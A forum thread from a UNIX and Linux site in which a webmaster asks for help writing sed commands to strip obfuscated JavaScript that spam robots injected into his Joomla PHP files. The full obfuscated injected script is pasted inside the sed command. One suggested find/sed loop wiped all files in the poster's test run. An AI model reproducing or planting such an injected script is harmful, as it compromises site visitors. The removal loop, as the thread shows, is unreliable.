The UNIX and Linux Forums  
Hello and Welcome from United States to the UNIX and Linux Forums! Thank You for Visiting and Joining Our Global Community.

Go Back   The UNIX and Linux Forums > Top Forums > Shell Programming and Scripting
.
google unix.com



Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here.

More UNIX and Linux Forum Topics You Might Find Helpful
Thread Thread Starter Forum Replies Last Post
How to replace specific text line out of multiple occurance madhusmita Shell Programming and Scripting 5 06-17-2008 01:03 PM
Replace text in multiple files on9west Shell Programming and Scripting 1 05-20-2008 01:35 AM
Replace text in multiple files Tonka52 Shell Programming and Scripting 10 03-24-2008 08:11 AM
How do you delete multiple text from a comma delimited file dolo21taf Shell Programming and Scripting 1 02-20-2008 05:12 AM
Need to search and replace in multiple files in directory hierarchy umen Shell Programming and Scripting 3 12-24-2007 04:56 AM

Reply
English Japanese Spanish French German Portuguese Italian Dutch Swedish Russian Norwegian Hungarian Hebrew Danish
 
LinkBack Thread Tools Search this Thread Rate Thread Display Modes
  #8 (permalink)  
Old 05-11-2009
younusdba younusdba is offline
Registered User
  
 

Join Date: May 2009
Posts: 6
pre-istallation operating system preparation for oracle 10g

Hi all,

when i am ruunind rootpre.sh script to check operating system pre-installation.i am getting the error Reuqired file ./pw-syscall32 is missing Aborting Pre-installation procedure.Installation of oracle mail.

0509-030 can't load program /cdrom/install/runInstaller
0509-036 symbol resolation failed for runInstaller because of error
0509-136 symbol -fill (number 0) is not exported from dependeant module /usr/lib/libc.a (shr.o_
0509-192 examine loader section symbol with 'dump -Tv' command

please any body help me about this issue.
  #9 (permalink)  
Old 06-04-2009
Nejc Nejc is offline
Registered User
  
 

Join Date: Jun 2009
Posts: 5
Hello. I have a problem very similar to this one in this thread. Some robots spamed my website files with similar strings as described. The script works, but if I change the string to this below it doesnt:

Code:
  sed 's_<?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""),y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e){x0=e;};if(x0=='Ł'){y4="";u1=oc(u1);oe=u9(w4,u1);while(oe!='Ł'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr(u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1,1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);document.write(String.fromCharCode(wf));continue;}p3=(x0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharCode(o2));}}e590206b977("0d","7374XebnŁ","502ٵ14µµ26µŁ","401","ٵ173µµ1","36µµ18","7","µŁ4","1","7","ŁĘµ1","87µ","µ","181µ","Ł396ٵ1","33µË","×","×","Óµ157µµ146µ","µ146","µËĚ×","µ1","4","4µÖČŁ396ŁŃŁ3","99ŁĘ","Ë","Ř","Ł","438","Ł","µ","0","µ","µ1","8","7µđűµ","18","8","µŁ3","2","1Ł","~","µ","12","9µµ1","34µ|Ł","3","7","7Ł","µ12","7µµ","185","µ","µ19","0µ~µ179","µµ","1","83µµ","1","85","µŁ","348Łr","eUSŁ","33","3","Ł","{mh","x","Ł433Ł","Đŵ18","4µµ168µĐŁ4","9","2","ٵ","8","µŁ454","ŁćŁ3","3","9Ł","q","Ł4","72","Ł","÷","µ3µ","ěߣ478Ł","ŐŁ4","63ٵ8µµ","21µµ24µŁ3","4","2Ł","µ145µµ1","46","µŁ","30","9Ł~IŁ","436","Ł","µ","173","µŁ","33","8","ŁYŁ411Ł","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1","87µŁ","37","0Ł","µ1","43µµ","15","5µ","µ","138µµ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}<\/script>'; ?>_ _' "$y" >temp
The error returned is:
Code:
line 3: syntax error near unexpected token `('
I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?

Thanks
  #10 (permalink)  
Old 06-04-2009
rubin's Avatar
rubin rubin is offline Forum Advisor  
Registered User
  
 

Join Date: Nov 2007
Posts: 321
Quote:
Originally Posted by Nejc View Post
...
The error returned is:
Code:
line 3: syntax error near unexpected token `('
I assume the problem is with the the character '. Am I right? Any ideas how I can fix this?

Thanks
It's not only the single quotes ' , but other special characters as well, such as \ " . , that need to be escaped too, and there are too many of them ..., better use a regex:

Code:
sed "s:<?php echo '<script language='JavaScript'>.*<\\\/script>'; ?>::" file > temp
I assumed that there are no other valid records with the same content in the corner tags, as the line above has.
  #11 (permalink)  
Old 06-04-2009
Nejc Nejc is offline
Registered User
  
 

Join Date: Jun 2009
Posts: 5
Thanks a lot. I will try this solution and post the results. Thanks again
  #12 (permalink)  
Old 06-05-2009
Nejc Nejc is offline
Registered User
  
 

Join Date: Jun 2009
Posts: 5
It seems Im getting somethig wrong here, since I am not very keen with Shell scripting. Here is the code which I put togheter with this forum topic:

Code:
find . -type f | while read i
do
  sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" file > temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done
Am I doing something wrong here? I added the "function string" above, since its a Joomla site, and it might already include such a string. The program does something, but all I does it display this error numerous times:

Code:
mv: target is not directory: No such file or directory
sed: file can't be read: No such file or directory
cmp: : No such file or directory
Thanks again.
  #13 (permalink)  
Old 06-05-2009
rubin's Avatar
rubin rubin is offline Forum Advisor  
Registered User
  
 

Join Date: Nov 2007
Posts: 321
Quote:
Originally Posted by Nejc View Post
It seems Im getting somethig wrong here, since I am not very keen with Shell scripting. Here is the code which I put togheter with this forum topic:

Code:
find . -type f | while read i
do
  sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" file > temp
  if cmp temp "$y" >/dev/null
  then
    rm temp
  else
    mv temp "$y"
  fi
done
Am I doing something wrong here? ...

There are a few things that I'd change, first the variables ( highlighted ), you're using i, y, file which (I guess) you're trying to represent the same thing - the file names.
I changed them below:


Code:
find . -type f | while read file
 do
   sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\\\/script>'; ?>::" "$file" > "$file".temp
  
   # check cmp's -s flag

   if cmp -s "$file".temp "$file" 
    then
         rm "$file".temp
    else

     # proceed with care here !!

         mv "$file".temp "$file"
   fi
 done

Quote:
I added the "function string" above, since its a Joomla site, and it might already include such a string.

That's not an issue as long as the new string is a continuos part of the initial one, but add cautiously, especially when you hit special characters. BTW the new string ( function e5... ) is not a problem.

Proceed with care when you rename the files, test first from the command line with a few files using only the sed code, to be sure you're getting the right changes.

Last edited by rubin; 06-05-2009 at 07:50 AM.. Reason: reformulated the first sentence
  #14 (permalink)  
Old 06-05-2009
Nejc Nejc is offline
Registered User
  
 

Join Date: Jun 2009
Posts: 5
OK. Obviously this script doesn't do, what I would like, since it purged all my files. No harm done anyway, I did it on purpose on a testing website which was also spamed.

Before I ran the script, I also tested only with sed using this code:

Code:
sed "s:<?php echo '<script language='JavaScript'>function e590206b977().*<\/script>'; ?>::" index.php > index.temp
Now, this sed command is the only command in this script which I don't know what exactly does it do. I looked a little through "man sed" but I didn't understand much. I now cmp compares the files, and if they are the same the file index.temp gets removed, if not, the file index.temp becomes index.php. right? What about sed?

I can say, that the above command of sed, just copies the file index.php to index.temp. Nothing else.

Thanks
Sponsored Links
Reply

Bookmarks

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT -4. The time now is 07:07 PM.


Powered by: vBulletin, Copyright ©2000 - 2006, Jelsoft Enterprises Limited. Language translation by Google.
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The UNIX and Linux Forums Content Copyright ©1993-2009. All Rights Reserved.Ad Management by RedTyger

Content Relevant URLs by vBSEO 3.2.0